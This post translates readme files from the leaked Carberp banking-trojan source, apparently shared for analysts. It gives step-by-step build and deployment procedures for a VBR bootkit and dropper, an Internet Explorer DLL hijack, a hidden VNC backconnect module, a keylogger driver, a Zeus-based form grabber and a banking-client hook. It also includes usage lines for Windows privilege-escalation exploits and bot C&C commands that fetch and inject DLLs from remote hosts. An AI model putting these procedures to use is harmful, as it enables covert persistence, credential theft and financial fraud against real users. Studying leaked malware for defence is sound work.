Carberp: "The Olympus has fallen..."

This post contains translations for some of the files from the Carberp source code leaked on 2013-06-24.

Thanks to @Xylit0l for support.

NOTE: This post is no longer being updated. All the translations are now posted and also available on Google Docs(see link below).


https://docs.google.com/file/d/0B9FW2svQegfPdWJnZ2Z4eDB0djg/edit?pli=1

Update 2013-06-28

'krab\source - absource\pro\all source\Инфа по буткиту\Инсталятор БК\BootkitDropperPlugBuild\Readme.txt'

Build folder structure:

- Tools - packaging utilities
  - WhiteJoeBuild.exe - used to embed strings into DLLs and DLLs into EXEs
  - mystic.exe - cryptor for the final file ring3 version
  - BkGen.exe - VBR generation utility.
  - FJ.exe - File joining utility for bootkit install files.
  - BkPack.exe - utility used by FJ to compress the files during bootkit build.
 
- SrcDir - Source files folder.
  Has to include:
  - bootkit project files. They all have 'bk' prefix
    - bkloader-i386.sys - x86 bootkit driver. Copied with new bootkit versions.
    - bkloader-amd64.sys - x64 bootkit driver. Copied with new bootkit versions.   
    - BkSetup.dll - x86 building template for bootkit DLL installation file.
    - bksetupdll.cfg - configuration file for building bootkit DLL installation file.

  - Loader_dll.dll - working DLL that bootkit injects into specified processes.
                     It's also the base for BkDroper.plug

  - UacElevator.exe - loader for rights elevation for Vista/7

  - BkBlockedTargetOs.txt - file for blocking installation on the OS's specified in the file
    Each line specifies the OS to block the installation for. Allowed string values "xp", "vista", "seven"
    'spaces' are not allowed before or after the values - or will not work.
    This feature has to be tested in the VM prior launching into 'live' to guarantee the successful blocking.

  - UacElevatorUrls.txt - file for downloading UacElevator.exe (if necessary)
 
  - UacPrefixes.txt - UacElevator.exe loader file prefix
    Random filename with this prefix is displayed to the user when attempting to elevate UAC rights
 
  - Bot.plug - Bot plugin body
    Embedded into the installer to avoid any time delay if downloaded separately.
    After the initial execution, bot plugin body is periodically refreshed from the server using bot.plug filename (one an hour or longer)
   
  - OutDir - Output folder. The folder is cleared when a new build is initiated.
    build results are stored here:
    - BkInstaller.plug - final file.

RunBuildBkDroperPlugDll.bat - batch file to start the build process.


****************** How to make a new build *******************************
- if you have new versions of files for the build - place them into SrcDir folder and rename them according to the naming convention for this folder(see above)


- changes might be required in the following files
  BkBlockedTargetOs.txt - if a filter is required to block the installation on a specific OS
  UacElevatorUrls.txt   - if you want UacElevator body to be downloaded over the Internet
  UacPrefixes.txt       - if you want to add your own prefixes for Win7

- replace Mystic.exe with the newest version

- run RunBuildBkDroperPlugDll.bat
 
- review build process output

- to close CMD screen press Enter.

Final file should be in the OutDir folder.

****************** Production launch       *******************************

How the new toolkit based on the Bootkit works.

Installation
- new version of RuAz accepts the following commands
  installbk <plug-name>
  install-bk-with-report <plug-name> <StatPrefix> <StatUrl>

  So, firstly make sure that your RuAz supports these commands
 
- compile Bot.plug, BkInstaller.dll, Loader_dll.dll, UacElevator.exe

- use Sergey's builder to embed connection details (used for RuAz)
  BkInstaller.dll - for embedded Bot.plug installation
  Loader_dll.dll - for passing the parameters to bot.plug at the startup

  !!!!!!!!!!!!!! IMPORTANT !!!!!!!!!!!!!!!
 
  The encryption keys used during BkInstaller.dll and Loader_dll.dll build
      HAS TO BE THE SAME!!!!!

  !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

- place built and compiled DLLs into Src folder

- use RunBuildBkDroperPlugDll.bat to build BkInstaller.plug

- upload Bot.plug and BkInstaller.plug onto the server

- give BkInstaller.plug file a unique name (for example BkInstaller99828721986817.plug)
 
- upload Bot.plug and renamed BkInstaller.plug (for example BkInstaller99828721986817.plug) onto the server

- from the configuration page, press "Перешифровать"(re-encrypt) after the plugin files are uploaded

- to install the bootkit with stats collection
  - on the stats server, create a separate URL for collecting statistics for this particular build.
    This will allow to rename it if needed and reduce the server load.
  - issue this command to initiate installations with stats collection
    install-bk-with-report BkInstaller99828721986817.plug <StatPrefixName> <StatUrl>

- to install the bootkit without stats collection
  - issue this command to initiate installations without stats collection
    installbk  BkInstaller99828721986817.plug

 
******************   Bot.plug update       *******************************

- updateplug [reboot-after-update] is implemented
- it will update bot.plug file if it was changed and if reboot-after-update parameter was specified - reboots after successful installation

'krab\source - absource\pro\source builder plugins inj's modules etc\WndRec\vncdemo\ReadMe.txt'

VNC-module
----------

This program allows you to connect remotely to the desktop of the currently logged in user.
Allows to create a copy of user's desktop and interact with it using RFB protocol.
This protocol supports most of VNC clients, for example: RealVNC, UltraVNC, TightVNC.
The program can work in waiting-to-connect or Back-Connect(establishes connection to a predefined server) modes.

OS support: Windows XP - Windows 7 SP1.
Supported architectures: x86, x64.

The program is implemented as a dynamic library(DLL) that is injected into one of the active processes.
When a connection is established, the program creates a hidden copy of user's desktop and starts EXPLORER.EXE.
In this way, you gain access to the exact copy of the desktop of currently active user. Remotely connected user
gets access to all of the files, profile and settings(if they are not blocked by any currently running processes)
of the locally logged in user, but does not interfere with user's work and stays completely hidden.

The following files are produced after the build:
 VNCDLL.DLL        - 32bit(including WOW64) application module;
 VNCDLL64.DLL    - 64bit(including WOW64) application module;
 TESTVNC.EXE    - test program - loads VNC-module;

Running the application:
 TESTVNC            - launches the application waiting for connections on port 5900 - default port
 TESTVNC <PORT>        - launches the application waiting for connections on a specified port
 TESTVNC <IP:PORT>    - launches the application in Back-Connect mode. where IP:PORT is the IP address and port of Back-Connect server.

How VNC works when VNCDLL is injected from Bootkit driver
---------------------------------------------

1. You have to disable internal injection mechanism. To do that, uncomment the following line in inc\main.h:
    #define    _KERNEL_MODE_INJECT        TRUE

2. Specify listening TCP/IP port. The port is assigned by the following parameter
    RFB_DEFAULT_SERVER_PORT in inc\rfb.h file

3. The DDL files have to have the following names: VNCDLL.DLL for 32bit and VNCDLL64.DLL for 64bit!

End of 2013-06-28 update



Update 2013-06-27

'krab\source - absource\pro\all source\TZ\bjwj\readme.txt'

Bootkit installation:
Bootkit execute command is given to the bot. Bootkit installer loads bot.plug, encrypts it and stores in
C:\Documents and Settings\All Users\Application Data\ folder with a random name and .dat file extension. Bootkit is being installed at the same time. Also, pinger is set to autorun(ping.exe, it's not being hidden). The dropper deletes itself after this. If everything went smoothly the PC is rebooted. When the PC is rebooted and the bootkit is successfully started ring3 bot located in the autorun is deleted after downloaded bot.plug file is started. Also, the pinger that send data to admin console for statistics is executed.

FakeDLL installation:
FakeDLL installation is done using the following command:
   installfakedll fdi.plug bot.plug

The installer downloads bot.plug file, encrypts it and stores in C:\Documents and Settings\user\Application Data\ folder. Depending on the installed Internet Explorer version the following DLLs are replaced:
  
    IE 6.0
   
    browseui.dll file is created in the root folder

    IE 7.0

    custsat.dll or ieproxy.dll file located in IE folder is replaced. The original file is stored in the same folder with a random letter added at the beginning of the filename.

    IE 8.0

One of these files stored in IE folder is replaced - sqmapi.dll, xpshims.dll, ieproxy.dll.The original file is stored in the same folder with a random letter added at the beginning of the filename.

During the installation any IE processes is killed and DLL is replaced. When IE is started again, our DLL is loaded and it executes the bot(the bot startup is delayed by 10 seconds) and the original DLL file. After the bot is injected into Windows Explorer, IE process is killed again, but when it's restarted the bot will not be executed.
   
Use 'update' command to update both bot versions. The command download bot.plug file, encrypts it and stores in the designated folder. The new bot will be executed only after the system is rebooted.

'krab\source - absource\pro\all source\BootkitDropper\nbuild\Readme.txt'

Build folder structure:

- Tools - packaging utilities
  - WhiteJoeBuild.exe - used to embed strings into DLLs and DLLs into EXEs
  - mystic.exe - cryptor for the final file ring3 version
  - BkGen.exe - VBR generation utility.
  - FJ.exe - File joining utility for bootkit install files.
  - BkPack.exe - utility used by FJ during bootkit build. Technically, performs compression

- SrcDir - Source files folder.
  Has to include:
  - bootkit project files. They all have 'bk' prefix
    - bkloader.sys - x86 bootkit driver. Copied with new bootkit versions.
    - BkSetup.dll - x86 building template for bootkit DLL installation file.
    - BkSetup.exe - x86 building template for bootkit EXE installation file.
    - bksetupdll.cfg - configuration file for building bootkit DLL installation file.
    - bksetupexe.cfg - configuration file for building bootkit EXE installation file.

  - Loader_dll.dll - working DLL that bootkit injects into specified processes.
  - WhiteJoe.dll   - dropper dll.
  - WhiteJoe.exe   - dropper exe.

- OutDir - Output folder. The folder is cleared when a new build is initiated.
  build results are stored here:
  - BootKitDroper_target-all_<BuildTimeStamp>.exe - final build file for all platforms.
  - BootKitDroper_target-xp_<BuildTimeStamp>.exe - final build file for XP platform.

RunBuildBkDroper.bat - batch file to start the build process.

How to make a new build:
- if you have new versions of files for the build - place them into SrcDir folder and rename them according to the naming convention for this folder(see above)

- run RunBuildBkDroper.bat
- review the build process output in the console.
- to close CMD screen press Enter.

Final file should be in the OutDir folder.

'krab\source - absource\pro\all source\BootkitDropper\Source\readme.txt'

2.09.2011                            -    added Java patch and Win 7 exploit.

09.08.2011                          -    added new functions and a module
   1.Utils.h/Utils.cpp           -    FixDWORD,CheckWow64,CheckUAC,CheckAdmin
 
19.07.2011                          -    added bootkit installer, EXE and DLL downloads
    1. BootEvents.cpp
   
12.07.2011
    1. Inject.cpp / Inject.h     -     added InjectRemouteDll
    2. Inject.cpp                    -     RemouteAllocateImageDll   

09.07.2011
    1. utils.cpp  / utils.h              -     added IsUserAdmin
    2. GetApi.cpp / GetApi.h     -     added shlwapi( PathCombineA ) library
    3. BootEvents.cpp                -     added privileges elevation code when executing the bootkit

'krab\source - absource\pro\all source\DropSploit\sys\readme.txt'

Keylogger beta version

How to use it:
1) first - install driver.sys driver
The driver intercepts keyboard interrupt INT13 and replaces interrupt handler. Installs its own 'device' on the system and sets a flag(scancode detected) when a scancode is generated. When a flag is received DLL user part send request to the buffer where the scancode is stored. The scancode is extracted and stored in C:\key.log including the name of the active window and process name.
I included drvload.exe to make it easier to install the driver.

2)second - inject DLL in any process
Regardless of the driver installation, keylogger will start up right after being injected into DLL.

I haven't changed the DLL in any way. It's just a test version.

Uncompleted parts and disadvantages:
1) difficulty working with Numpad
2) difficulty displaying keys pressed with 'Shift' or 'Ctrl'. For example "@" is stored in the log as <SHIFT>2 or capital letters as <SHIFT>a, etc.
3) window name module can't obtain an active window name if the process running it is hidden.

In overall it works well
Going forward if you wish to pay some extra ;) i can add a polymorphic engine to DLL file, so it'll add some 'padding' rubbish to the DLL code

'krab\source - absource\pro\all source\GrabberIE_FF\readme.txt'

Create file config.bin using zsb.exe utility (read Zeus manual)
make sure the following string is in the config.txt file
   encryption_key "secret key"
this is the password used to encrypt config.bin, the same encryption key is used inside DLL for decryption
Place config.bin and GrabberIE_FF.dll files into the root of drive C
Run WhiteJOE_Bank.exe to check if everything is working.
When IE is started, WhiteJOE_Bank.exe will load GrabberIE_FF.dll (Zeus). GrabberIE_FF.dll
will setup system hooks and load config.bin. It'll continue to operate according to settings specified.

'krab\source - absource\pro\all source\RemoteCtl\Release\readme.txt'

Execute the following command to embed a file:

EmbeddedInFile.exe your.exe

where your.exe is the file to be embedded. It can't be bigger than 600KB
The utility takes server.exe and embeds your.exe into it. The result is stored in
server_new.exe file - this file should be used for launching your.exe

'krab\source - absource\pro\all source\SkypeSMS\readme.txt'

Send messages using the following command:
SkypeSms.exe +123456789 "Message"

if all went well you'll see 0 on the screen. Otherwise you'll see 1 and the description of the problem.
When the program is started Skype is requesting a confirmation to allow the program to use it. At the moment i don't know how to get rid of it, need to play with Skype setting i think.

'krab\source - absource\pro\all source\temp\2012-07-04_FakeDllFiles\_Readme.txt'

Build folder structure:

- Tools - packaging utilities
  - WhiteJoeBuild.exe - used to embed strings into DLLs and DLLs into EXEs
  - mystic.exe - cryptor for the final file ring3 version 
 
- SrcDir - Source files folder.
  Has to include:
  - fake.dll - x86 DDL file. It replaces any DLL handle in the stack and the file path with its own.
  - FakeDllInstaller.dll - x86 DLL file - fake.dll installer source code.
    In the current version, it has to be built with BotBuilder.exe utility to allow embedding server connection parameters for downloading bot.plug file
 
- OutDir - Output folder. The folder is cleared when a new build is initiated.
  build results are stored here:
  - FakeInstaller.plug - final installation file
   
RunBuildFakeInstallerPlugDll.bat - batch file to start the build process.

How to make a new build:
- if you have a new version of fake.dll file - place it into SrcDir folder
  and rename it according to the naming convention for this folder(see above).
 
- How to get FakeInstaller.plug file

  - build FakeDllInstaller.dll file using BotBuilder.exe utility. You need to embed server connection parameters for downloading bot.plug file
  - place it into SrcDir folder and rename it according to the naming convention for this folder(see above).
  - run RunBuildFakeInstallerPlugDll.bat file and collect OutDir\FakeInstaller.plug file when finished.
 
- How to get FakeBot.plug file

  build bot.plug file using BotBuilder.exe utility.
  You need to embed server connection parameters - where the commands will be received from, etc.,
  
- upload FakeInstaller.plug file onto the server(You can use any names. Preferably, use a unique name, so there is no filename conflict with other installers.)
 
- upload FakeBot.plug file onto the server(You can use any names. Preferably, use a unique name, so there is no filename conflict with other installers.)

- start the bot that supports this command and issue it
  installfakedll <InstallerName.plug> <BuildedBotPlugName.plug>

'krab\source - absource\pro\all source\TZ\docfind\docfind\docfind_dll\HOW_TO_BUILD_THIS.txt'

How to build this. Notes.

Important note on the steps for build process. Since we recently added build_dll project that requires a DLL assembled in docfind_dll project, the projects have to be built in the following order:

Step one.
Build -> Batch build -> select all, except these two: build_dll DEBUG and build_dll RELEASE.

Step two.
The same thing, but reverse the selection - nothing except these to build_dll DEBUG and build_dll RELEASE.

6:59 PM 5/3/2012

'krab\source - absource\pro\all source\TZ\ifobs\dll\iFOBSBal\iFOBS_howto_eng.txt'

The system has two parts - bot (iFOBS.cpp, iFOBS.h files) and DLL (iFOBS.dll) modules written in Delphi

The bot sets hooks on VistaDB_D7.dll->@Vdbdirect@TVDBDirect@GetCurrency$qqr17System@AnsiString
and loads iFOBS.dll into iFOBSClient.exe process
Test bot takes DLL file from C:\iFOBS.dll

bot's functionality had to be expanded for that: GetApi.cpp->GetProcAddressEx, by adding vistadbd7_dll library name into it. Hooks loading and setup process is outputted into debug log.

After iFOBSClient.exe is injected it waits until the client is logged on, DB is decrypted and when the balance is calculated by the program it intercepts the balance value in UAH currency and outputs it into debug log.

This solution will work with any iFOBS version.

'krab\source - absource\pro\all source\TZ\kill_os\OS_KILL_README.TXT'

The compilation is done using Windows Driver Kit version 7.1.0.
It can be downloaded from Microsoft website.

 Follow these steps Windows Server 2003 x86 Free Build Environment
 (Start > «Windows Driver Kits» > «WDK 7600.16385.1» > «Build Environments» >
 «Windows Server 2003» > «x86 Free Build Environment»).

In the console, switch to the folder with the source code and execute build_all.bat to assemble the Release version or build_all_debug.bat for the debug version.

The executable file can be found in ./bin folder after the compilation is finished.

'krab\source - absource\pro\all source\TZ\x64\CVE-2012-1864\README.TXT'

Local privileges escalation exploit for CVE-2012-1864 vulnerability.

Tested on Windows XP, Vista and 7, õ32 and x64.

For the exploit to be successful, the target PC has to have the default desktop theme active
("Windows XP" for XP and Aero for Vista and later).

How to use it:
Run Debug\CVE-2012-1864.exe from the command line supplying optional parameter to launch a program after successful exploitation, for example:

 > CVE-2012-1864.exe --execute calc.exe

For x64 Windows use x64\Debug\CVE-2012-1864.exe

'krab\source - absource\pro\all source\TZ\x64\SYSRET_expl\README.TXT'

Local privileges escalation exploit for CVE-2012-0217 vulnerability.

Tested on Windows 7 and Server 2008 R2 x64.

How to use it:
Run bin\SYSRET_expl.exe from the command line supplying optional parameter to launch a program after successful exploitation, for example:

 > CVE-2012-0217.exe calc.exe

'krab\source - absource\pro\all source\WndRec\doc_eng.txt'

The following functions are used to start the recording:

StartRecHwnd( char* uid, HWND wnd, char* ip, int port ) //recording using window's HWND
StartRecPid( char* uid, DWOD pid, char* ip, int port )  //recording using process' PID

To stop the recording:

StopRec()

Use record2.bat arg1,arg2 command for testing.
where arg1 - window name or process PID
           arg2 - name of the file to store the recording in or ip:port

file transfer prototype:

#define EXPORT_API __declspec(dllexport) __stdcall

void EXPORT_API StartSend( char* uid, char* path, const char* ip1, int port1, const char* ip2, int port2 )

The server will store it in RecvFiles folder

analysis of graphic file stored in All users\scr folder

void EXPORT_API StartFindFields() //to start the analysis, dll starts a separate thread
void EXPORT_API StopFindFields() //to stop the analysis

in this mode, DLL monitors All users\scr folder for new BMP files, analyses them and creates '1.ini' file. BMP files are then deleted.

End of 2013-06-27 update



Update 2013-06-26

'krab\source - absource\pro\all source\BJWJ\source\DOC\Домены бота.txt'

Bot domain names

There are 2 modes the bot can work with the domain names in:

1. By default, the bot takes the domain names that are embedded into it during compilation.
The amount of names is limited by the size of the buffer they stored in (by the time of writing this document it's equal to 500 bytes).

2. In case there is a special file present on the disk that contains the domain names, the bot will be using the names from the file ignoring the embedded ones.

Use 'updatehosts' command to load the domain list (see the command description for more details).

The domain list file is created with HostsConfigBuilder application.

There is no limit for the number of domain names in the list.

Would like to make an emphasis on 'List priority' parameter
This parameter defines what domain names list the bot is going to work with.
When the 'updatehosts' command is executed, the bot will load the supplied list and check its priority against the current one (in case of it being present on the PC).
The current domain names list will be replaced with the new one only if the new list's priority is greater or equal to the current list's priority.

'krab\source - absource\pro\all source\BJWJ\source\DOC\Перечень команд.txt'

This document outlines the commands supported by the bot.

If the command parameters are enclosed into [] bracket it means that multiple parameters can be supplied.
The parameters are separated by [] brackets.

============================================

This command updates the list of callback hosts.

Command name:

updatehosts

Syntax:

updatehosts [plugin_name][http://full_URL_to_callback_hosts_list]

Allowed parameters:

1. plugin_name - short plugin name(callback hosts list). In this case the list will be loaded using plugin loading system

For example:
    updatehosts mainhosts.list  

2. full_URL_to_callback_hosts_list - in this case the full address has to include the protocol. Only HTTP is allowed.

For example:
    updatehosts http://domain.com/cfg/mainhosts.list    

============================================

'krab\source - absource\pro\all source\bootkit\BkBuild\ReadMe.txt'

Open CMD console.
Switch to 'BkBuild' folder.
Run 'bkbuild.bat' batch file.
Collect the built files from 'Release' folder.

'krab\source - absource\pro\all source\bootkit\FJ\ReadMe.txt'

File Join utility FJ
---------------------------------

Joins one or more executable files (EXE, DLL or SYS) to the file installer or the driver.
File installer (driver) has to support the joined files.

The following items can be used as a file installer:
- KLoader.sys driver, can be used to attach the DLL used in the injection
- BkSetup.exe module, can be used to attach loading driver to it

How does it work

The files being joined are compressed and written at the end of file installer.
The file installer is updated to allow the joined files to be loaded into the memory when the file installer is started.
The joined files are later decompressed by the file installer.

Configuration file

The list of files to join including any parameters is assigned through a special configuration file.
Sample of the configuration file is supplied.

'krab\source - absource\pro\all source\bootkit\KBOT\ReadMe.txt'

KBOT - NT-kernel bot program
----------------------------

This program can download files over HTTP, save them on VFS partition and register them in KLDR module for further injection into predefined processes.

Supported OS: XP - WIN7.
Supported architectures: x86, AMD64(EM64T).

The project is compiled into a static library(LIB) and linked to the driver.

When the program is first executed it generates 16-bit user ID and stores it on VFS partition in \USER.ID file.
This ID never changes and used every time when communicating with C&C server.

The program performs 2 types of HTTP requests to C&C server:
- configuration file request;
- command file request;

The program support HTTP requests obfuscation.
Every request is encrypted with RC6 algorithm and translated into BASE64 format.

The program supports digital signature checks and encryption configuration and command files.
To support that, public.key file is attached to the driver - it holds open RSA-key.
This key is used when decrypting and checking the digital signature of the received file.
If the file is not validated it's ignored.

Configuration file

The program works based on the parameters specified in the configuration file (config-file).
config-file can be stored on VFS partition or can be attached to the driver directly.
When the program is started, it looks for the file on VFS partition first and if not found it uses attached config-file.
Sample of the config-file with description can be found in \BkBuild\kbot.ini
When a new config-file is received, it's stores on VFS partition with \KBOT.INI filename. The existing KBOT.INI is replaced.

Command file

The text file contains one or many of the following commands:

    LOAD_FILE <HTTP URL> [filename on VFS]  - download the file from specified URL and saves it on VFS partition   
    DELETE_FILE    <filename on VFS> - deletes specified filename from VFS partition
    SET_INJECT <filename on VFS> <processes list> - setup injects of the specified file(in most cases DLL) into  the processes from the list. All setup injects are applied immediately and stored in \INJECTS.SYS file on VFS partition, so that they will still be active after the system restart.
    To remove any injects use the same command SET_INJECT <filename on VFS>, but do not specify the 'processes list' parameter.

Command names are case sensitive, parameters are not.

'krab\source - absource\pro\all source\bootkit\KBOT\tasks.txt'

Kernel bot

Currently the following functions are available:
The bot is implemented as a driver that is loader with a bootkit-loader. The driver has its own TCP/IP stack and HTTP implementation.
Once initialized, the bot creates a times it uses to connect(HTTP) to predefined URL pointing at PHP script. The script returns a configuration file.
The configuration file contains commands, like:
"DLL: http://myhost.com/myfile.dll, file1.dll, explorer.exe iexplore.exe firefox.exe"
The bot downloads(over HTTP) myhost.com/myfile.dll file and stores it on VFS partition with file1.dll filename. It also registers file1.dll file to be automatically injected into the following processes: explorer.exe, iexplore.exe, firefox.exe.

What's required for further development:

1. Agree on the configuration file format
At the moment a simple text file is used, like the one described above.
Possibly, it makes sense to add the following parameters to the config file:
- callback servers list that will be used for receiving the configuration file
- string(script and parameters) for retrieving the configuration file and the re-connect period. What else?
Possibly, a some sort of a convertor(configurator) should be used for formatting the configuration file with the view to remove the text parser from the bot. This will reduce its size and minimize a chance of an error.

Commands format: Commands for adding, deleting, refreshing, etc. the DLL file. Driver administration/operation commands?

2. Agree on configuration file request format
At the moment the bot works on our test server with the following format:
GET /config.php?version=100&user=1234&server=1&id=1000&crc=3201b37f
where: version = bot version, user = unique client ID, server = server ID, id = bot's group, crc - previous configuration file CRC32, used to stop the server for sending the same configuration file again.

What to change:
- request type: GET or POST ?
- name of the script that returns the configuration file
- script parameters: client ID, bot version, server ID, previous configuration file CRC32, anything else?
- additional parameters for HTTP request: OS architecture and version(User-Agent), Refer, anything else?
- ?

3. Anything else that i missed?

If a customer already has the server with administration panel and enabled to issue the configuration files, please provide the following
- configuration file description
- communication protocol description
also, would like to have a temporary access to the server to allow me to adjust the bot according to customer's protocols used and for further testing.

'krab\source - absource\pro\all source\bootkit\Vfs\ReadMe.txt'

VFS administration utility

vfs.exe utility allows
- copy files onto VFS partition;
- read files from VFS partition;
- delete files from VFS partition;
- view root catalog of VFS partition;
- load NT driver image and execute it;

The utility supports the following commands:
DIR - view the content of a catalog (example: vfs dir)
COPY - copy a file to of from VFS partition (example: vfs copy c:\windows\calc.exe vfs\calc.exe
                                                    vfs copy vfs\calc.exe c:\test\calc.exe)
DEL - delete a file (example: vfs del vfs\calc.exe)
LOAD - load specified driver (example: vfs load c:\test\sample.sys
                                        vfs load vfs\sample.sys)

(Use "vfs\" prefix when working with files on VFS partition)

End of 2013-06-26 update



Original post on 2013-06-25
 
'krab\source - absource\pro\all source\bootkit\readme.txt'

Bootloader for the drivers
------------------------

Allows loading specially crafted drivers during Operating System start-up.
The driver is loaded before NT kernel initialization and before PatchGuard starts, so it can patch any kernel code.
The driver is given control before any other drivers are loaded (including all boot-load drivers), so it can monitor and interact with their loading process.
Digital signature for the driver is not required.

Supports all Windows OS, from XP to Windows 8 inclusive.
Supports 2 CPU architectures: x86 and AMD64 (EM64T).
Boot-loader is working under any NTFS types.

Assembled project has three major components:
- Initial Program Load (IPL);
- specially crafted driver that is loaded prior NT kernel;
- installation program (or installation library(DLL));

IPL code is metamorphic and consist of a number of blocks. During each project compilation blocks are mixed in a random order.
IPL code is encrypted and dynamically decrypted only during execution.
Each newly compiled IPL code is different from the previous ones.
The driver is also encrypted when written to the disk and decrypted by IPL during the start-up.

There is a size limit for the driver: due to the way IPL operates - the driver can't be bigger than 100KB.

The project is compiled with MS Visual Studio 2005 and MS Windows 7 WDK.

Additional components
-------------------------

The driver may include the following additional components:

- Virtual File System Manager. Creates encrypted(RC6) virtual file system (VFS) in unformatted disk area.
  Enables User-mode interface for working with the files stored in VFS.

- filters disk access. Blocks 'external' access to the sectors where IPL and VFS is located. Hides VFS

- DLL injector. Allows process loading(injection) of DLLs stored on VFS or attached to the file driver. Includes interface to manage injects in the user-mode.

- Driver loader. Enables interface for loading unsigned drivers.

- TCP/IP stack (including: ARP, ICMP, DNS). Allows BSD-socket network access for drivers and user-mode applications.

Project components
--------------
  1. IPL generator(\BkGen).
  2. Loader library(\BkLib).
  3. Installation program(\BkSetup).
  4. Installation library(SetupDll).
  5. Injection driver(\KLoader).
  6. VFS library(\FsLib).
  7. Unsigned drivers loader library(\DrvLdr).
  8. Loader and VFS protection filter library(\BkFilter).
  9. File attachment utility(\FJ).
  10. VFS manager tool/interface(\VFS).
  11. Batch files for assembling a loader sample with sample DLLs (\BkBuild).

IPL Generator
-------------
  Assembles into an executable file BkGen.exe - works under x86 only
  Creates VBR.COM when started and includes metamorphic loader code.
  Unique loader is generated at each execution

Loader library
------------------
  Assembles into a static library(.lib) - works under x86 and AMD64
  Includes functions required for loader installation and initialization.
  Imported by the installer and the driver. See bklib.h for more details.

Installation program
--------------------
  Searches loader file - VBR.COM during compilation and integrates it into resources.
  Compiles into an executable file BkSetup.exe - works under x86 only

Installation library
---------------------
  Assembles into a library file SetupDll.dll - works under x86 and x64
  The library exports one function: ULONG BkInstall(BOOL bReboot).
  Calling this function performs loader installation.
  The function returns Win32 error code if any issues are encountered.

Injection driver
----------------
  Assembles into an NT driver (kloader.sys) - works under x86 and x64
  Injects attached DLLs into specified processes. The list of DLLs and processes is specified in the configuration file for FJ utility.

VFS library
-------------------------
  Being linked into Injector Driver (kloader.sys) - works under x86 and x64
  Creates VFS in unformatted hard disk sectors.
  If no or insufficient unformatted disk space is found the size of the last partition on the hard disk in decreased.
  VFS is a modified FAT16 partition. The cluster size is equal to the physical sector size on the disk.
  VFS maximum size is ~32MB.
  Filenames are in 8.3 format. Long filenames are not supported. No catalogue support.
  VFS is fully encrypted with RC6.

Unsigned drivers loader library
-------------------------------------------
  Being linked into Injector Driver (kloader.sys) - works under x86 and x64
  Allows loading and execution of unsigned NT kernel drivers.

Loader and VFS protection filter library
-----------------------------------------------------------------
  Being linked into Injector Driver (kloader.sys) - works under x86 and x64
  Filters low-level disk read/write calls.
  Disables any modifications to the disk sectors where the loader is stored.
  Blocks any modifications by external applications and drivers to the disk sectors hosting VFS.
  Returns zeros if anything 'external' attempts to read VFS - hiding it.
 
File attachment utility
-------------------------------
  Assembles into an executable file FJ.EXE - works under x86 only
  Used for attaching injectable DLLs to the driver file and for attaching the driver file to the installer.
  See \FJ\ReadMe.txt for more details.

Batch files for assembling a loader sample with sample DLLs (\BkBuild).
-----------------------------------------
  BkBuild.bat - assembles the installer with attached drivers kloader.sys - for x86 and amd64 accordingly. Each driver is attached a DLL for injection.
  BkSetup.cfg - configuration file for assembling the installation program and attaching the drivers to it.
  setupdll.cfg- configuration file for assembling the installation library and attaching the drivers to it.
  demo32.dll  - 32bit demo library
  demo64.dll  - 64bit demo library

Assembly order
--------------
  1. Using Visual Studio 2005 compile the entire project. Compile for i386 first and then for amd64.
  2. Open the console(CMD.EXE). Go to \BkBuild folder and start BkBuild.exe
  3. Take the compiled loader from \BkBuild\Release folder.

'krab\source - absource\pro\all source\Locker\build\Readme.txt'

Builder folder structure:

- Tools - packaging utilities
  - WhiteJoeBuild.exe - used for inserting strings into DLLs and DLLs into EXEs
  - mystic.exe - cryptor for the final file 'ring3' version  
  - builder.exe - WhiteJoeBuild.exe GUI for inserting URL strings into locker.dll
 
- SrcDir - source files folder for builder process.
  Has to contain:
  - locker.dll - working DLL for the BootKit and for Ring3 version 
  - locker.exe - ring3 version of the Locker. locker.dll.wjb_out goes into it - extracts the Locker into the memory.

- OutDir - Results folder. Content of the folder is cleared at each start of the build process.
  Build results are stored here:
  - bootkit-locker.dll - BootKit file with embedded strings
  - ring3-locker.exe - ring3 version file with embedded bootkit-locker.dll
  - mystic-ring3-locker.exe - processed by Mystic.exe 'ring3-locker.exe' file
   
   
RunBuild.bat - batch file to start the build process.

How to make a new build:
- run RunBuild.bat

- the batch file will execute Tools\builder.exe and you'll be prompted to supply the following data:
  - enter the list of URL separated by 'spaces'
  - enter URL suffix that will be added to each URL
  - click "готово" button to complete embedding
  - click "Cancel" to finish the process
 
- the build process will continue after this.
- once the build is finished press 'Enter' to close the CMD console. 

All the built files can be found in OutDir folder

'krab\source - absource\pro\all source\DllLoaderHook\readme.txt'

Copy the DLL you wish to execute into a folder 'In' and rename it to 'in.dll'
The DLL has to have a function called 'start'(all lowercase). The function has to be defined in the following format:
start(char* exe, int admin)
where 'exe' is the full path to the file the DLL was executed with
admin - 0 - no admin rights and it wasn't possible to obtain them
        1 - already has admin rights
        2 - no admin rights, but were successfully forced to obtain

The entire project has to be re-build in order to create the 'exe' file. The end result will be in 'release' folder.
The current 'exe' file in the 'release' folder has embedded autorun DLL that uses Task Scheduler - this autorun will work only with admin rights

'krab\source - absource\pro\all source\DllLoaderHook\Release\readme.txt'

creating ехе:
builder.exe my.dll output.exe
where - my.dll - your DLL, output.exe - result file

schtasks.dll - sets autorun through Task Scheduler

your DLL has to have the following function

int start(char* exe, int admin)

exe - my 'ехе' to be setup to autorun
admin - 0 - no admin rights,
             1 - 'ехе' was started with admin rights,
             2 - ехе successfully forced to obtain the admin rights
the function has to return 1 - autorun completed successfully, 0 - autorun failed
my program will save the results into debug log

'krab\source - absource\pro\all source\bootkit.old\readme2.txt'

Loader setup
-----------------
1. The installer analyses the hard disk (\??\PHYSICALDRIVEx): checks partition table,
   calculates the size of unused space before the first partition and after the last one
2. If found a big enough area - the driver code is written into it.
3. The installer reads VBR (Volume Boot Record) code that is located in the first 15 sectors of the boot partition (\Device\HarddiskХ\PartitionХ).
4. VBR code is compressed and the loader is added to it, so that when VBR is started it gets the control.
5. The new VBR code that includes the loader overwrites the old VBR code.

Windows 7 disables writing into file system volume sectors on the hard disk, but
it always has ~1MB of unused space before the first partition.
For XP and Vista, if no unused space is found it's possible to use the last sectors of the last partition to store the driver's code.
Hard disk sectors are read and written by opening \??\PHYSICALDRIVEx device using native NT functions: NtCreateFile, NtReadFile, NtWriteFile.

The loader and the driver will be guaranteed to install successfully under the following conditions:
1. operation is performed with admin rights. Also, for Vista and Win7 elevated UAC rights are required.
2. Unrestricted access to open, read and write to the following devices
 \??\PHYSICALDRIVEx и \Device\HarddiskХ\PartitionХ

FAQ

> where will my DLLs that are injected into processes be stored?

The last sectors of the system volume.

